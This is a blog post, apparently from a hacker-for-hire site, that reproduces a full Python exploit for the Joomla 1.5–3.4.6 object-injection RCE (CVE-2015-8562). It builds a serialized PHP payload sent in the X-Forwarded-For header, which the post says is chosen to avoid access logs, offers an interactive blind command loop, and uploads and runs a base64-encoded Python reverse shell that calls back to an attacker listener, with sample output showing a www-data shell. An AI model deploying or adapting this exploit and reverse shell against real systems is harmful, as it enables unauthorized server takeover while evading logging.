Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86399317

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python

# Exploit Title: Joomla 1.5 - 3.4.6 Object Injection RCE X-Forwarded-For header
# Date: 12/17/2015
# Exploit Author: original - Gary@ Sec-1 ltd, Modified - Andrew McNicol BreakPoint Labs (@0xcc_labs)
# Vendor Homepage: https://www.joomla.org/
# Software Link: http://joomlacode.org/gf/project/joomla/frs/
# Version: Joomla 1.5 - 3.4.6
# Tested on: Ubuntu 14.04.2 LTS (Joomla! 3.2.1 Stable)
# CVE : CVE-2015-8562


'''
    Joomla 1.5 - 3.4.6 Object Injection RCE - CVE-2015-8562
    PoC for CVE-2015-8562 to spawn a reverse shell or automate RCE

    Original PoC from Gary@ Sec-1 ltd (http://www.sec-1.com): 
    https://www.exploit-db.com/exploits/38977/

    Vulnerability Info, Exploit, Detection:
    https://breakpoint-labs.com/joomla-rce-cve-2015-8562/

    Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" to avoid default logged to access.log

    Usage - Automate Blind RCE:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ --cmd
    $ touch /tmp/newhnewh    

    Usage - Spawn Reverse Shell using Pentestmonkey's Python one-liner and netcat listener on local host:
    python joomla-rce-2-shell.py -t http://192.168.1.139/ -l 192.168.1.119 -p 4444
    [-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://192.168.1.139/
    [-] Uploading python reverse shell with LHOST:192.168.1.119 and LPORT:4444
    <Response [200]>
    [+] Spawning reverse shell....
    <Response [200]>

    Listening on [0.0.0.0] (family 0, port 4444)
    $ python -c "import pty;pty.spawn('/bin/bash')"
    www-data@ubuntu:/$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    www-data@ubuntu:/$ 

'''
    
import requests
import subprocess
import argparse
import sys
import base64
 
# Heavy lifting from PoC author Gary@ Sec-1 ltd (http://www.sec-1.com)
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3', # Change default UA for Requests
    'x-forwarded-for': user_agent   # X-Forwarded-For header instead of UA
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)    
    return response


def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]

 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template


def main():
    parser = argparse.ArgumentParser(prog='cve-2015-8562.py', description='Automate blind RCE for Joomla vuln CVE-2015-8652')
    parser.add_argument('-t', dest='RHOST', required=True, help='Remote Target Joomla Server')
    parser.add_argument('-l', dest='LHOST', help='specifiy local ip for reverse shell')
    parser.add_argument('-p', dest='LPORT', help='specifiy local port for reverse shell')
    parser.add_argument('--cmd', dest='cmd', action='store_true', help='drop into blind RCE')

    args = parser.parse_args()

    if args.cmd:
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Dropping into shell-like environment to perform blind RCE"
        while True:
            command = raw_input('$ ')
            cmd_str = "system('{}');".format(command)
            pl = generate_payload(cmd_str)
            print get_url(args.RHOST, pl)

    # Spawn Reverse Shell using Netcat listener + Python shell on victim
    elif args.LPORT and args.LPORT:
        connection = "'{}', {}".format(args.LHOST, args.LPORT)

        # pentestmonkey's Python reverse shell one-liner:
        shell_str = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('''+connection+'''));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'''
        # Base64 encoded the Python reverse shell as some chars were messing up in the exploit
        encoded_comm = base64.b64encode(shell_str)
        # Stage 1 payload Str
        payload = "echo {} | base64 -d > /tmp/newhnewh.py".format(encoded_comm)
        print "[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: {}".format(args.RHOST)
        print "[-] Uploading python reverse shell with LHOST {} and {}".format(args.LHOST, args.LPORT)
        # Stage 1: Uploads the Python reverse shell to "/tmp/newhnewh.py"
        pl = generate_payload("system('"+payload+"');")
        print get_url(args.RHOST, pl)
        # Spawns Shell listener using netcat on LHOST
        listener = subprocess.Popen(args=["gnome-terminal", "--command=nc -lvp "+args.LPORT])
        print "[+] Spawning reverse shell...."
        # Stage 2: Executes Python reverse shell back to LHOST:LPORT
        pl = generate_payload("system('python /tmp/newhnewh.py');")
        print get_url(args.RHOST, pl)
    else:
        print '[!] missing arguments'
        parser.print_help()


if __name__ == "__main__":
    main()